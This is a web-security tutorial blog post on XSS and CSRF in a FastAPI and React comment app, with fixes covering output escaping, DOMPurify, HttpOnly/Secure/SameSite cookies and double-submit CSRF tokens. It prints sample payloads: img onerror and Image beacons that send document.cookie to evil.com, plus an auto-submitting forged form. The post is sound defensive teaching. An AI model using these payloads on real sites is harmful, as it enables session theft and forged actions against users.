Skip to main content
thelearningmachine
Overview

Web Security 101 — how attackers borrow your identity, and how to stop them

June 4, 2026
16 min read
Bastien Mirlicourtois

Bastien Mirlicourtois

June 4, 2026

I kept seeing the same advice.

"Sanitize your inputs." "Set HttpOnly." "Add a CSRF token."

I knew these mattered. I even knew how to apply them.

But I couldn't have told you what I was actually defending against, or why those three lines were the right ones. I had the spells. I didn't have the model.

This is the mental model I wish I'd had — built around two attacks (XSS and CSRF) and the one thing that connects them: the cookie. I'll use one small app the whole way through: a FastAPI backend + a React frontend, a blog with comments.


What we're actually protecting

Almost every app works like this:

  1. You log in.

  2. The server hands your browser a session cookie.

  3. From then on, the browser sends that cookie with every request.

  4. The server reads it and thinks: "ah, this is Alex."

That cookie is your identity on the wire. Which gives us the two sentences the whole article hangs on:

If someone can read your cookie → they can become you. If someone can make your browser send your cookie → they can act as you.

XSS is the first sentence. CSRF is the second.

A quick clarification before we go on. This article assumes cookie-based auth — a credential (a session ID or a JWT) stored in a cookie. That's deliberate: the cookie is what links XSS and CSRF together. If instead you send your token in an Authorization header (stored in localStorage), CSRF mostly stops applying — but XSS theft gets easier. More on that trade-off at the end.


The analogy: a festival wristband

You pay at the entrance and get a wristband. Inside, you never pay again — you flash the wristband and the bartender serves you.

The wristband is your session cookie.

  • Someone steals your wristband and wears it → that's XSS.

  • Someone tricks you into flashing it for a drink they ordered → that's CSRF.

Same wristband. Two completely different attacks.


XSS — someone runs their code on your page

XSS (Cross-Site Scripting) is when an attacker gets their JavaScript to run inside your site, in someone else's browser.

The browser can't tell the difference between the JavaScript you wrote and the JavaScript an attacker injected. Same page, same trust, same access to cookies and the DOM.

Where it sneaks in

Our blog shows a list of comments. In React, the component that displays one comment might look like this:

JSX
// VULNERABLE: rendering a comment as raw HTML
function Comment({ body }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

Let's slow down on that one line, because it is the vulnerability.

dangerouslySetInnerHTML is a React feature that means: "take this string and inject it into the page as real HTML, not as text." It exists for the rare case where you have HTML you trust and want rendered. React named it with the word dangerous on purpose — it's a warning label.

The problem: body is a comment someone typed. We're handing a stranger's text to the browser and saying "treat this as live HTML." If the comment contains HTML tags, the browser builds them into real elements — including tags that can run code.

So the attacker doesn't post a normal comment. They post this:

HTML
<img src=x onerror="fetch('https://evil.com/steal?c=' + document.cookie)">

Piece by piece:

  • <img src=x> → an image tag pointing at x, which isn't a real image. So it fails to load.

  • onerror="..." → an HTML attribute meaning "if this image fails to load, run this JavaScript." The image is broken on purpose, so the code runs instantly.

  • fetch('https://evil.com/steal?c=' + document.cookie) → the actual payload: read the page's cookies and send them to the attacker's server.

A detail that surprised me: if the attacker used a plain <script> tag here, it would not run — browsers ignore <script> tags inserted this way. That's why real payloads use <img onerror>, <svg onload>, and friends: they execute JavaScript through an attribute, no <script> needed.

And because this is stored XSS, the comment is saved in your database. From then on, every visitor who opens the post gets it, their browser tries to load the broken image, onerror fires, and the attacker's code runs in their browser, with their session.

What that code can do

The attacker's JavaScript is now running on your page, in your visitor's browser, with the exact same powers your own code has. Two things it can do:

1. Steal the session cookie — if it's readable:

JavaScript
new Image().src = 'https://evil.com/c?' + document.cookie;

document.cookie is the browser API that hands JavaScript the current page's cookies as a string. Creating an image whose address points at the attacker's server is a quiet way to send that string out: the browser "loads" the image, delivering the cookies to evil.com in the process. Now the attacker can paste your cookie into their own browser and be logged in as you. (This only works if the cookie is readable from JS — we'll block it with HttpOnly shortly.)

2. Act as the user — works even if the cookie is hidden:

JavaScript
fetch('/account/email', {
  method: 'POST',
  credentials: 'include',                 // attach my cookies to this request
  body: JSON.stringify({ email: 'attacker@evil.com' }),
});

fetch sends an HTTP request from JavaScript. credentials: 'include' tells the browser to attach this site's cookies to the request — even if the script can't read them. So this call hits your own API carrying the victim's valid session, and changes their email. The script never needed to see the cookie; it just made the browser send it.

This is the part people miss:

HttpOnly stops a script from reading the cookie. It does not stop the cookie from being sent.

Reading vs. sending is the whole distinction:

  • If the script can read the cookie → the attacker copies it and reuses it anywhere, anytime.

  • If it can only make the browser send it → the attacker can still act as you, but only from a script running on your page, right now.

Either way, once their code runs on your page, you're in trouble — which is why the real fix is stopping the code from running at all.

XSS = the attacker's code runs as your site.


CSRF — someone uses your identity

CSRF (Cross-Site Request Forgery) is sneakier: the attacker never steals anything and never runs code on your site. They abuse one browser behavior:

The browser automatically attaches your cookies to any request going to a domain — even requests fired by other websites.

Same blog, different trick

On your blog, posting a comment is a POST request to /comments, and the browser proves who you are by automatically attaching your session cookie. The attacker exploits exactly that. They put this on a page they control, evil.com:

HTML
<!-- on evil.com -->
<form action="https://yourblog.com/comments" method="POST" id="f">
  <input name="body" value="Cheap stuff: buy-now.example">
</form>
<script>document.getElementById('f').submit()</script>

What this does:

  • The <form> is aimed at your blog's /comments endpoint, pre-filled with spam.

  • The <script> grabs that form (getElementById('f')) and submits it the instant the page loads — the victim never clicks a thing.

  • The form is invisible; the victim just sees whatever evil.com pretends to be.

Here's why it works. The form sends a request to yourblog.com. The browser's rule is blunt: any request to yourblog.com gets yourblog.com's cookies attached — no matter which site triggered it. So the victim's session cookie rides along. Your server sees a valid session and posts the comment, convinced it came from the victim.

Notice what didn't happen: no script ran on your site, nothing was stolen, no cookie was read. The attacker just borrowed the cookie your browser hands out automatically.

CSRF = the attacker's request rides your identity.


Aside: "but doesn't CORS block this?"

A fair question — I had it too. If evil.com fires a request at your API, doesn't the browser's CORS policy stop it?

No, and this is the trap worth internalizing:

CORS controls whether JavaScript can read the response, not whether the request gets sent.

Two cases:

  • A simple request (a normal GET, or a form POST) is always sent. The browser may hide the response from the attacker's script — but the request already reached your server and did its damage.

  • A non-simple request (a custom header, a JSON content-type, a PUT/DELETE) triggers a preflight check first — and that, the browser will block before sending if your server doesn't allow the origin.

A CSRF form attack is a simple request, so CORS never even gets involved. And the attacker doesn't care that they can't read the response — they only wanted the side effect (the spam comment, the transfer).

This is actually the historical reason CORS works this way: a plain HTML <form> could always POST to any site, long before fetch existed, so servers were already expected to defend against forged requests. CORS just left that door open for backwards compatibility.

The flip side is good news: forcing a request to be non-simple is itself a defense. It's part of why the X-CSRF-Token header in Fix 3 works (see below) — adding a custom header trips a preflight the attacker's origin can't pass.


The mirror image

This is what made it click:

  • XSS → untrusted code runs in a trusted place. Fix = control what code can run.

  • CSRF → a trusted identity runs an untrusted action. Fix = prove the request was intentional.

Two different problems. Two different fixes. Let's do them.


How to fix it (FastAPI + React)

Fix 1 — Never let input become code (kills XSS)

XSS happens when user data gets treated as code. The fix is to always show user input as plain text.

Frontend (React). Stop using dangerouslySetInnerHTML. Put the value inside normal curly braces instead:

JSX
// SAFE: React shows this as text, never as HTML.
function Comment({ body }) {
  return <p>{body}</p>;
}

When you write {body}, React escapes it — it swaps the dangerous characters for harmless display versions before putting them on the page. A < becomes &lt;, a > becomes &gt;. So the attacker's <img onerror=...> shows up on the page as the literal text "<img onerror=...>": visible, inert, not a real tag. React does this automatically, which is why most React apps are safe from XSS out of the box. The danger only comes back when you reach for dangerouslySetInnerHTML.

Sometimes you genuinely need to allow some HTML — say a comment editor where bold text and links are allowed. Then don't trust the input raw; clean it first with a sanitizer:

JSX
import DOMPurify from "dompurify";
 
function RichComment({ body }) {
  const clean = DOMPurify.sanitize(body);  // keeps <b>, drops <script>/onerror
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

DOMPurify is a well-tested library that takes an HTML string and returns a cleaned one: it keeps safe formatting tags (<b>, <a>) and strips anything that can run code (<script>, onerror, onload, …). Rule of thumb: never write your own HTML filter with regexes — attackers have decades of bypass tricks, and a library like DOMPurify has already seen them.

Backend (FastAPI). Good news: FastAPI returns JSON, not HTML pages. When it sends {"body": "<img onerror=...>"}, that's just data — a string — and React escapes it on display. So the backend isn't where XSS bites here. The one place to stay alert: if you ever build HTML yourself on the server (an email, a server-rendered page), apply the same "escape it" rule there too.

When our FastAPI backend logs someone in, it sends back a cookie. set_cookie is how FastAPI does that — it tells the browser "store this, and send it back on every future request." But how you set it matters as much as the cookie itself:

Python
from fastapi import FastAPI, Response
 
app = FastAPI()
 
@app.post("/login")
def login(response: Response):
    # ... verify email + password, then create a session ...
    response.set_cookie(
        key="session",
        value=session_id,      # a random id, never the password
        httponly=True,         # JavaScript cannot read this cookie
        secure=True,           # only sent over HTTPS
        samesite="lax",        # not sent on cross-site requests
        max_age=60 * 60 * 24,  # expires after 1 day
    )
    return {"status": "logged in"}

The value is a session id: a long random string the server keeps a record of and maps back to the real user. It's meaningless on its own, so even if someone sees it, it gives away nothing about the account. (Never put a password or personal data in a cookie.)

Now the flags, in plain words:

  • httponly=Truedocument.cookie can't see it. Even if an XSS slips through, the attacker can't steal the session token. (This is Fix 1 and this flag working together.)

  • secure=True → the cookie is only sent over HTTPS, so it can't be sniffed on an open network.

  • samesite="lax" → the browser won't attach this cookie to requests coming from another site. That single flag kills the evil.com form attack above. "strict" is even tighter (it blocks the cookie even when the user follows a normal link from another site).

httponly fights XSS theft. samesite fights CSRF. Different flags, different jobs.

Fix 3 — Prove the request was intentional (kills the rest of CSRF)

samesite="lax" already blocks the basic form attack. For sensitive actions, add a second layer the attacker can't fake: a CSRF token, using a pattern called double-submit.

The idea: give the frontend a secret random token, then demand that exact token back on every write. The clever bit is where we put it — somewhere your own JavaScript can read, but another site cannot.

Backend (FastAPI):

Python
import secrets
from fastapi import FastAPI, Request, Response, HTTPException
 
app = FastAPI()
 
# 1. Hand the frontend a random CSRF token
@app.get("/csrf")
def get_csrf(response: Response):
    token = secrets.token_urlsafe(32)
    response.set_cookie("csrf_token", token, httponly=False, secure=True, samesite="lax")
    return {"csrf_token": token}
 
# 2. On every write, the token in the header must match the one in the cookie
@app.post("/comments")
def add_comment(request: Request):
    cookie_token = request.cookies.get("csrf_token")
    header_token = request.headers.get("X-CSRF-Token")
    if not cookie_token or cookie_token != header_token:
        raise HTTPException(status_code=403, detail="CSRF check failed")
    # ... save the comment ...
    return {"status": "comment added"}

Step by step:

  • secrets.token_urlsafe(32) generates a long, unpredictable random string. (We use Python's secrets, not randomsecrets is built for security and can't be guessed.)

  • We put that token in a cookie — and notice it's httponly=False, on purpose. Unlike the session cookie, we want our own JavaScript to read this one. (We also return it in the JSON so the frontend can grab it on first load.)

  • On the write endpoint, we compare the token sent in the X-CSRF-Token header against the token in the cookie. No match → reject with 403.

Frontend (React):

JSX
// read a single cookie value by name
function getCookie(name) {
  return document.cookie
    .split("; ")
    .find((c) => c.startsWith(name + "="))
    ?.split("=")[1];
}
 
async function postComment(body) {
  await fetch("/comments", {
    method: "POST",
    credentials: "include",                     // send the session cookie
    headers: {
      "Content-Type": "application/json",
      "X-CSRF-Token": getCookie("csrf_token"),  // echo the token back in a header
    },
    body: JSON.stringify({ body }),
  });
}

getCookie just digs the csrf_token value out of document.cookie. Then on every write we read it and copy it into the X-CSRF-Token header. That's the "double submit": the same token travels two ways — as a cookie (sent automatically) and as a header (added by hand).

Why this stops the attack: when evil.com forges a request, the browser still attaches your cookies, including csrf_token. But evil.com's JavaScript cannot read that cookie to copy it into the header — the browser forbids one site from reading another site's cookies. (That rule is called the same-origin policy, and it's the backbone of browser security.) So the attacker can send the cookie but can't produce the matching header. Cookie ≠ header → 403. Blocked.

Don't want to hand-roll this? The fastapi-csrf-protect library does exactly this double-submit pattern for you. The code above is just to show what's happening underneath.


The token-storage trap

One question I got stuck on for a long time:

"Should I store my auth token in localStorage or in a cookie?"

The honest trade-off:

  • localStorage → easy, but readable by JavaScript. One XSS and your token is gone.

  • HttpOnly cookie → not readable by JS (safe from XSS theft), but sent automatically (so now you must handle CSRF).

The thing that finally made this clear to me: the axis that matters isn't the token format (session ID vs JWT) — it's the transport. How does the credential travel?

  • CSRF only exists because of automatic cookie sending. A Bearer token in a header is essentially immune to CSRF — the browser never auto-attaches an Authorization header to a cross-site request, so evil.com's forged request carries nothing. But if you store that token in localStorage, XSS can read it directly (no HttpOnly to hide behind).

  • Cookie auth → CSRF applies (need SameSite + a token), but HttpOnly protects against XSS theft.

There's no free lunch. You're not removing risk — you're choosing which attack you defend against. The common answer is the one we built: HttpOnly + Secure + SameSite cookie, plus a CSRF token on writes.


My mental model today

XSS = attacker's code runs as your site → defend the code (escape output, sanitize, HttpOnly). CSRF = attacker's request rides your identity → defend the request (SameSite, CSRF token).

And underneath both:

Never trust the client. The browser will happily run anyone's script and send anyone's request. Trust is something the server decides.


Final thought

Web security stopped being a pile of magic incantations the moment I asked one question for every defense:

What exactly is this protecting, and from whom?

HttpOnly protects the cookie from a script. SameSite protects the action from another site. Escaping protects the page from its own input.

Same boring question. Very different answers. That small shift — from following rules to understanding the threat behind them — is the whole game.


Sources & References

The attacks

The defenses